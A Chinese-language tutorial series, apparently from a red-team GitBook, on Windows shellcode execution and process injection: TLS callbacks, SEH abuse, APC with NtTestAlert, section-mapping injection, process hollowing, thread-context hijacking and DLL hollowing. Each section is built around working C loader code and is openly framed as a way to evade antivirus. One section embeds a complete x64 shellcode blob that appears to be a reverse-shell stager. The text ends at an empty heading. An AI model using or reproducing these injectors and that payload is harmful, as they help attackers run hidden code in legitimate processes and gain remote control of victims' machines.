#pragma comment (linker, "/INCLUDE:__tls_callback")



#pragma data_seg (".CRT$XLB")
EXTERN_C PIMAGE_TLS_CALLBACK _tls_callback = TlsCallBack;
#pragma data_seg ()




int main()
{
	return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M7kE7sWuyyueL3lVR8h%2F-M7kGwcXV0_WtmSSE7CC%2Fimage.png?alt=media\&token=7025f7c1-0a16-4fb3-a649-ce1afabf0e92)

## LINKS

{% embed url="<http://www.hackdig.com/?03/hack-2257.htm>" %}

{% embed url="<https://www.cnblogs.com/kuangke/p/7590657.html>" %}

{% embed url="<https://blog.csdn.net/hotspurs/article/details/90298636>" %}

{% embed url="<https://blog.csdn.net/qq_18218335/article/details/69357016?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase>" %}


# SEH Code Execute

## SEH简介

&#x20;   SEH(Structured Exception Handling)结构化异常处理,是windows操作系统默认的错误处理机制，它允许我们在程序产所错误时使用特定的异常处理函数处理这个异常，尽管提供的功能预取为处理异常，但由于其功能的特点，也往往大量用于反调试。

讲原理的话还挺复杂的，用户层异常涉及到多次换栈cpu层级切换，这里不做简介，有兴趣的可以参考段钢老师的《加密与解密》。

SEH默认存储在栈中，以链表的形式保存其结构如下。

```
typedef struct _Exception_SEH_List{	
PException_SEH *next;    //*next指针指向下一个节点，	
PException_DISPOSITION handle;    //handle指向一个异常处理函数。
}_Exception_SEH_List,*_Exception_SEH_List;
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M7u7TrzN0Wym0qmjjSg%2F-M7u9bFpgHXC3vjN9d5g%2Fimage.png?alt=media\&token=4d7e305f-b1a0-42e6-a01a-34bb72c3cf78)

当异常产生时操作系统会接管并会按照(A)->(B)->(C)的顺序依次传递，直到异常处理完毕。

异常处理函数通常也遵循约定的编写格式，由于异常处理函数是一个回调函数，所以第一参数是由操作系统传递的一个指向EXCEPTION\_RECORD结构体的指针。

CONTEXT保存CPU处理异常前的状态，用于处理后的恢复。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M7u9pHKLzSat6sN7Ava%2F-M7uA6_fpEi1frCpM5n-%2Fimage.png?alt=media\&token=93157a5d-c95e-4553-b389-a56fd1dc4dc8)

```
typedef struct _EXCEPTION_RECORD {
    DWORD ExceptionCode;   //异常代码
    DWORD ExceptionFlags;
    struct _EXCEPTION_RECORD *ExceptionRecord;
    PVOID ExceptionAddress;   //异常发生地址
    DWORD NumberParameters;
    ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;
```

常见的异常:

```
EXCEPTION_ACCESS_VIOLATION     0xC0000005     程序企图读写一个不可访问的地址时引发的异常。例如企图读取0地址处的内存。
EXCEPTION_ARRAY_BOUNDS_EXCEEDED    0xC000008C     数组访问越界时引发的异常。
EXCEPTION_BREAKPOINT                           0x80000003     触发断点时引发的异常。
EXCEPTION_DATATYPE_MISALIGNMENT    0x80000002     程序读取一个未经对齐的数据时引发的异常。
EXCEPTION_FLT_DENORMAL_OPERAND     0xC000008D     如果浮点数操作的操作数是非正常的，则引发该异常。所谓非正常，即它的值太小以至于不能用标准格式表示出来。
EXCEPTION_FLT_DIVIDE_BY_ZERO                   0xC000008E     浮点数除法的除数是0时引发该异常。
EXCEPTION_FLT_INEXACT_RESULT           0xC000008F     浮点数操作的结果不能精确表示成小数时引发该异常。
EXCEPTION_FLT_INVALID_OPERATION            0xC0000090     该异常表示不包括在这个表内的其它浮点数异常。
EXCEPTION_FLT_OVERFLOW                             0xC0000091     浮点数的指数超过所能表示的最大值时引发该异常。
EXCEPTION_FLT_STACK_CHECK                  0xC0000092     进行浮点数运算时栈发生溢出或下溢时引发该异常。
EXCEPTION_FLT_UNDERFLOW                    0xC0000093     浮点数的指数小于所能表示的最小值时引发该异常。
EXCEPTION_ILLEGAL_INSTRUCTION          0xC000001D     程序企图执行一个无效的指令时引发该异常。
EXCEPTION_IN_PAGE_ERROR                        0xC0000006     程序要访问的内存页不在物理内存中时引发的异常。
EXCEPTION_INT_DIVIDE_BY_ZERO                   0xC0000094     整数除法的除数是0时引发该异常。
EXCEPTION_INT_OVERFLOW                             0xC0000095     整数操作的结果溢出时引发该异常。
EXCEPTION_INVALID_DISPOSITION                  0xC0000026     异常处理器返回一个无效的处理的时引发该异常。
EXCEPTION_NONCONTINUABLE_EXCEPTION     0xC0000025     发生一个不可继续执行的异常时，如果程序继续执行，则会引发该异常。
EXCEPTION_PRIV_INSTRUCTION                     0xC0000096     程序企图执行一条当前CPU模式不允许的指令时引发该异常。
EXCEPTION_SINGLE_STEP                          0x80000004     标志寄存器的TF位为1时，每执行一条指令就会引发该异常。主要用于单步调试。
EXCEPTION_STACK_OVERFLOW                   0xC00000FD     栈溢出时引发该异常。
```

异常发生的时候，执行异常代码的线程就会发生中断，转而运行SEH，此时操作系统会把线程 CONTEXT结构体的指针传递给异常处理函数的相应参数。由于这个处理函数可以由我们自定义，所以我们可以利用操作系统来帮我执行shellcode，同时由于seh的特殊性，调试器默认会接管异常而不使用seh，所以我们通常会利用seh进行一些反调试。

结构化异常基于线程，每个单独的线程都有自己的seh链，我们可以在TEB.NtTib.ExceptionList找到seh的链表头，而TEB可以在FS:\[00]寄存器位置找到，NTTIB和ExceptionList分别处于各自结构体第一个成员，所以FS:\[00]=TEB.NtTib.ExceptionList。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M7uDhPSW9mQlT19ZNmq%2F-M7uEiBf3I5YH-eaiBhT%2Fimage.png?alt=media\&token=003707ba-5b40-4548-817d-76e5b4567fb9)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M7uDhPSW9mQlT19ZNmq%2F-M7uElepZOlRgyIdSXP6%2Fimage.png?alt=media\&token=4ff92da4-aa6c-4341-bd3b-1ba613a68246)

## SEH实现

原始实现：

```
//1.挂入链表相当于这部分
//fs[0]-> Exception
	_asm
	{
		mov eax, fs:[0]
		mov temp,eax
		lea ecx,Exception
		mov fs:[0],ecx
	}
	//为SEH成员赋值
	Exception.Next = (_EXCEPTION*)temp;
	Exception.Handler = (DWORD)&MyEexception_handler;

//下面是2，3
EXCEPTION_DISPOSITION _cdecl MyEexception_handler
(
	struct _EXCEPTION_RECORD *ExceptionRecord,	//异常结构体
	PVOID EstablisherFrame,						//SEH结构体地址
	struct _CONTEXT *ContextRecord,				//存储异常发生时的各种寄存器的值 栈位置等
	PVOID DispatcherContext
)
{
	if (ExceptionRecord->ExceptionCode == 0xC0000094)		//2.异常过滤
	{
		ContextRecord->Eip = ContextRecord->Eip + 2;			//3.异常处理
		ContextRecord->Ecx = 100;

		return ExceptionContinueExecution;
	}
	return ExceptionContinueSearch;
}
```

编译器封装:

```
//这里的代码底层实现就类似上面的代码。
_try						//1.挂入链表
	{

	}
	_except(过滤表达式)	//2.异常过滤
	{
		异常处理程序		//3.异常处理程序
	}

异常过滤表达式常量值
1) EXCEPTION_EXECUTE_HANDLER (1)	执行except代码
2) EXCEPTION_CONTINUE_SEARCH (0)	寻找下一个异常处理函数
3) EXCEPTION_CONTINUE_EXECUTION (-1)	返回出错位置重新执行

表达式由多种写法:
1.直接写常量值
_except(EXCEPTION_CONTINUE_EXECUTION)
2.表达式
_except(GetExceptionCode() == 0xC0000094 ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
3.调用函数
_except(ExceptFilter(GetExceptionInformation()))
```

## SEH利用

如果有调试器并接管异常，那么程序会在发生除零异常的位置停滞，而没有调试器程序则会处理这个异常并执行shellcode。

```
#include<Windows.h>
#include<stdio.h>
#pragma comment(linker, "/section:.data,RWE")
char shellcode[] =
"";
int a = 1;
int b = 0;

int ExceptFilter()
{
	b = 1;
	((void(*NTAPI)(void)) & shellcode)();
	return EXCEPTION_CONTINUE_EXECUTION;//返回出错位置重新执行
}

int main()
{
	_try
	{
		int c = a / b;
	}
	_except(ExceptFilter()) {
		
	};

	return 0;

}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M7uG8-Iu9xVHWR0PPGr%2F-M7uGylQ8bmBF2C6ECe2%2Fimage.png?alt=media\&token=370e892e-c5bd-4443-b5cb-05c6df2766a4)

或:

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M7uG8-Iu9xVHWR0PPGr%2F-M7uHXyAOQ-Ck8DXQRM9%2Fimage.png?alt=media\&token=ca404222-630e-4680-8f2e-70cc5f11c03f)

## LINKS

{% embed url="<https://www.cnblogs.com/FKdelphi/p/10734361.html>" %}

{% embed url="<https://bbs.pediy.com/thread-249592.htm>" %}

{% embed url="<https://blog.csdn.net/weixin_42052102/article/details/83547922>" %}

{% embed url="<https://blog.csdn.net/weixin_42052102/article/details/83551306>" %}


# APC & NtTestAlert Code Execute

APC & NtTestAlert代码执行

## APC & NtTestAlert Code Execute简介

在Early Bird篇章介绍过,本质上是线程初始化时调用的为导出函数NtTestAlert函数清空APC队列导致的代码执行,那我们是不是可以直接调用这个函数进行代码执行呢？

这种技术并不依赖CreateThread和CreateRemoteThread等被杀软严格监控的API就能进行代码执行,也并没有直接操作恶意代码,而是触发操作系统(其实也是本进程)去帮我们执行这些恶意代码,这样也一定程度上逃避了检测。

## 执行流程

1. 修改shellcode执行权限
2. 获取NtTestAlert函数地址
3. 插入APC队列
4. 调用NtTestAlert

## 代码实现

```
#include <Windows.h>
#include<stdio.h>
char shellcode[]="";
typedef VOID(NTAPI* pNtTestAlert)(VOID);
int main() {

	pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert");

	LPVOID lpBaseAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	memcpy(lpBaseAddress, shellcode, sizeof(shellcode));

	QueueUserAPC((PAPCFUNC)lpBaseAddress, GetCurrentThread(), NULL);
	
	NtTestAlert();
	return 0;
}
```

## LINKS

{% embed url="<https://undocumented.ntinternals.net/>" %}


# NtCreateSection & NtMapViewOfSection Code Execute

## 简介

前面我们介绍过的[mapping injection](/code-and-dll-process-injection/mapping-injection)技术与当前介绍的没有本质区别，同样是创建一块共享的物理内存，但这个技术更为接近底层，mapping injection使用的api本质上是ntdll导出函数的封装，这个注入技术则是直接调用ntdll的导出函数。

这种技术与mapping injection具有同样的优点，我们可以不使用virutalprotectex、writeprocessmemory等注入技术经典函数。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M70mz-zCWo2yFCrzGN-%2F-M70n0TeSz4KVpM0DzEa%2Fimage.png?alt=media\&token=a10f2e62-e34a-4eaf-8e57-a4a35e4e21b0)

## 注入流程

1. 在注入进程创建section
2. 将section映射到注入进程虚拟地址(本进程RW权限)
3. 往被映射的虚拟地址写入shellcode
4. 打开被注入进程句柄
5. 将section映射到被注入进程虚拟地址(映射进程RX权限)
6. 创建远程线程

## 代码实现

代码摘抄@mantvydasb

```
#include <iostream>
#include <Windows.h>
#pragma comment(lib, "ntdll")

typedef struct _LSA_UNICODE_STRING { USHORT Length;	USHORT MaximumLength; PWSTR  Buffer; } UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {	ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor;	PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID;
using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL); 
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle,	HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using myRtlCreateUserThread = NTSTATUS(NTAPI*)(IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID);

int main()
{
	unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
	
	myNtCreateSection fNtCreateSection = (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection"));
	myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection"));
	myRtlCreateUserThread fRtlCreateUserThread = (myRtlCreateUserThread)(GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread"));
	SIZE_T size = 4096;
	LARGE_INTEGER sectionSize = { size };
	HANDLE sectionHandle = NULL;
	PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
	
	// create a memory section
	fNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
	
	// create a view of the memory section in the local process
	fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);

	// create a view of the memory section in the target process
	HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, 1480);
	fNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ);

	// copy shellcode to the local view, which will get reflected in the target process's mapped view
	memcpy(localSectionAddress, buf, sizeof(buf));
	
	HANDLE targetThreadHandle = NULL;
	fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL);

	return 0;
}
```

## LINKS

{% embed url="<http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html>" %}

{% embed url="<https://ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection>" %}


# Process Hollowing

进程镂空

## Process Hollowing简介

进程镂空是一种防御规避的进程注入技术,主要思想是卸载合法进程的内存，写入恶意软件的代码，伪装成合法进程进行恶意活动。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3o3kGZsJP-Elb9jCPX%2F-M3o49seggYYG5SrVxF-%2Fprocess-hollowing.gif?alt=media\&token=e8be2e58-4838-439c-bb58-b9bf57d3aee7)

## 执行流程

1. 创建一个挂起的合法进程
2. 读取恶意软件的代码
3. 获取挂起进程上下文与环境信息
4. 卸载挂起进程内存
5. 写入恶意软件代码
6. 恢复挂起进程

## 代码实现

### 1.创建一个挂起的合法进程

```
	BOOL bRet = CreateProcessA(
		NULL,
		(LPSTR)"cmd",
		NULL,
		NULL,
		FALSE,
		CREATE_SUSPENDED,
		NULL,
		NULL,
		&si,
		&pi);
```

### 2.读取恶意软件的代码

```
	hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
	FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 
	ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
	CloseHandle(hFile);
```

### 3.获取挂起进程上下文与环境信息

&#x20;**进程环境块**（**PEB**）是 Windows NT操作系统内部使用的数据结构，用以存储每个进程的运行时数据，每个进程又有一个独立且由操作系统进行维护的PEB。

挂起创建的进程的EBX\&RDX寄存器存储着PEB,而PEB内存储着进程的实际加载地址。

```

	GetThreadContext(pi.hThread, &ctx); //获取挂起进程上下文

#ifdef _WIN64
	ReadVirtualMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
	// 从rbx寄存器中获取PEB地址，并从PEB中读取可执行映像的基址
#endif
	// 从ebx寄存器中获取PEB地址，并从PEB中读取可执行映像的基址
#ifdef _X86_
	ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL); 
#endif
```

### 4.卸载挂起进程内存

如果恶意软件预期加载地址被占用，就使用ntdll内的NtUnmapViewOfSection函数卸载软件内存,该函数也是freelibrary等函数真正卸载内存使用的函数。

```
	//判断文件预期加载地址是否被占用
	pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
	if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase) 
	{
		NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
	}
```

### 5.写入恶意软件代码

将恶意软件写入合法进程的空间,先写入文件头后逐段写入。

```

	//为可执行映像分配内存,并写入文件头
	RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
	WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL); 

	//逐段写入
	for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
	{
		pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
		WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL); 
	}

```

### 6.恢复挂起进程

挂起创建的进程rcx\&eax内存储着软件的入口点,需要将PEB内的实际加载地址修改为恶意软件预期的加载地址。

```
//将rcx寄存器设置为注入软件的入口点,并将预期加载地址修改为实际加载地址
#ifdef _WIN64
	ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint); 
	WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL); 
#endif

	//将eax寄存器设置为注入软件的入口点,并将预期加载地址修改为实际加载地址
#ifdef _X86_
	ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint); // Set the eax register to the entry point of the injected FileImage

	WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL); 
#endif


	SetThreadContext(pi.hThread, &ctx); // 设置线程上下文
	ResumeThread(pi.hThread); // 恢复挂起线程

```

#### \* 实现效果

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3oCQaBCZDo-ktzirSq%2F-M3oCiSmlvjn6mrFAKUM%2Fimage.png?alt=media\&token=d170fbbc-1079-4820-b1cb-b8189da5977a)

## 完整代码

* github:<https://github.com/idiotc4t/ProcessHollow.git>

## LINKS

{% embed url="<https://www.elastic.co/cn/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process>" %}

{% embed url="<https://attack.mitre.org/techniques/T1093/>" %}


# SetContext Hijack Thread

## 简介

通常对于代码注入我们有很多种方式，现在这种方式原理与大部分注入方式技术原理相差不大，通常都是想尽办法让进程去执行我们自定义的代码，比如我们最经典的创建一个远程线程，入口点指定我们写入的代码，或者在程序执行流程上插桩，让正常进程去帮我们执行代码，这次介绍的方式比较暴力，直接劫持cpu的rip或eip指针，使其直接指向我们的恶意代码。

## 注入流程

1. 打开或创建一个进程。
2. 挂起其中一个线程。
3. 分配并写入shellcode。
4. 更改rip指针指向shellcode。
5. 恢复挂起线程。

## 实现代码

```
#include<Windows.h>
#include<stdio.h>

char shellcode[] = "";
;
int main(){
	STARTUPINFOA si = { 0 };
	si.cb = sizeof(si);

	PROCESS_INFORMATION pi = {0};

	CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
	SuspendThread(pi.hThread);
	LPVOID lpBuffer = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(pi.hProcess, lpBuffer, shellcode, sizeof(shellcode), NULL);
	CONTEXT ctx = { 0 };
	ctx.ContextFlags = CONTEXT_ALL;
	GetThreadContext(pi.hThread, &ctx);
	ctx.Rip = (DWORD64)lpBuffer;
	SetThreadContext(pi.hThread, &ctx);
	ResumeThread(pi.hThread);
	return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M8x0KkcOXY0RO7kKSUk%2F-M8x5aCL_i0SKnFHBw3s%2Fimage.png?alt=media\&token=4817c04a-4d56-4e3d-af13-1863e260bdd9)

## LINKS

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext>" %}


# DLL Hollowing

DLL Hollowing

## 简介

模块镂空(dll hollowing)也是一种shellcode注入技术，原理和思路与process hollowing类似，通过合法的模块信息来伪装恶意代码，虽然我们可以用远程dll注入来完整注入整个恶意dll，但此类注入往往比较容易检测，我们需要往受害者主机上传入一个恶意dll，这样杀毒软件可以通过监控入windows/temp/等目录实现对远程dll注入的拦截，而模块镂空就不会存在这样的风险，因为我们镂空的往往是一个带有微软签名的dll，为了防止进程出错，我们并不能直接镂空一个进程空间中已存在的dll，需要先对目标进程远程注入一个系统合法dll，然后再镂空它，这样我们就获得了一个和windows模块相关联的shellcode环境。

## 实现思路

1. 远程注入一个系统dll(原理参考[CreateRemoteThrea](/code-and-dll-process-injection/createremotethread)的dll注入)
2. 获取该模块在目标进程中的虚拟地址
3. 定位模块的入口点
4. 使用shellcode复写入口点
5. 创建远程线程

## 代码实现

代码参考@mantvydasb

```
#include <iostream>
#include <Windows.h>
#include <psapi.h>

char shellcode[] = "";

int main(int argc, char* argv[])
{
	
	
	TCHAR ModuleName[] = L"C:\\windows\\system32\\amsi.dll";
	HMODULE hModules[256] = {};
	SIZE_T hModulesSize = sizeof(hModules);
	DWORD hModulesSizeNeeded = 0;
	DWORD moduleNameSize = 0;
	SIZE_T hModulesCount = 0;
	CHAR rModuleName[128] = {};
	HMODULE rModule = NULL;

	// inject a benign DLL into remote process
	//hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 2924);

	LPVOID lprBuffer = VirtualAllocEx(hProcess, NULL, sizeof ModuleName, MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(hProcess, lprBuffer, (LPVOID)ModuleName, sizeof ModuleName, NULL);
	PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
	HANDLE dllThread = CreateRemoteThread(hProcess, NULL, 0, threadRoutine, lprBuffer, 0, NULL);
	WaitForSingleObject(dllThread, 1000);

	// find base address of the injected benign DLL in remote process
	EnumProcessModules(hProcess, hModules, hModulesSize, &hModulesSizeNeeded);
	hModulesCount = hModulesSizeNeeded / sizeof(HMODULE);
	for (size_t i = 0; i < hModulesCount; i++)
	{
		rModule = hModules[i];
		GetModuleBaseNameA(hProcess, rModule, rModuleName, sizeof(rModuleName));
		if (std::string(rModuleName).compare("amsi.dll") == 0)
		{
			break;
		}
	}

	// get DLL's AddressOfEntryPoint
	DWORD headerBufferSize = 0x1000;
	LPVOID peHeader = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
	ReadProcessMemory(hProcess, rModule, peHeader, headerBufferSize, NULL);

	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peHeader;
	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)peHeader + dosHeader->e_lfanew);
	LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)rModule);

	// write shellcode to DLL's AddressofEntryPoint
	WriteProcessMemory(hProcess, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);

	// execute shellcode from inside the benign DLL
	CreateRemoteThread(hProcess, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);

	return 0;
}
```

## 实现效果

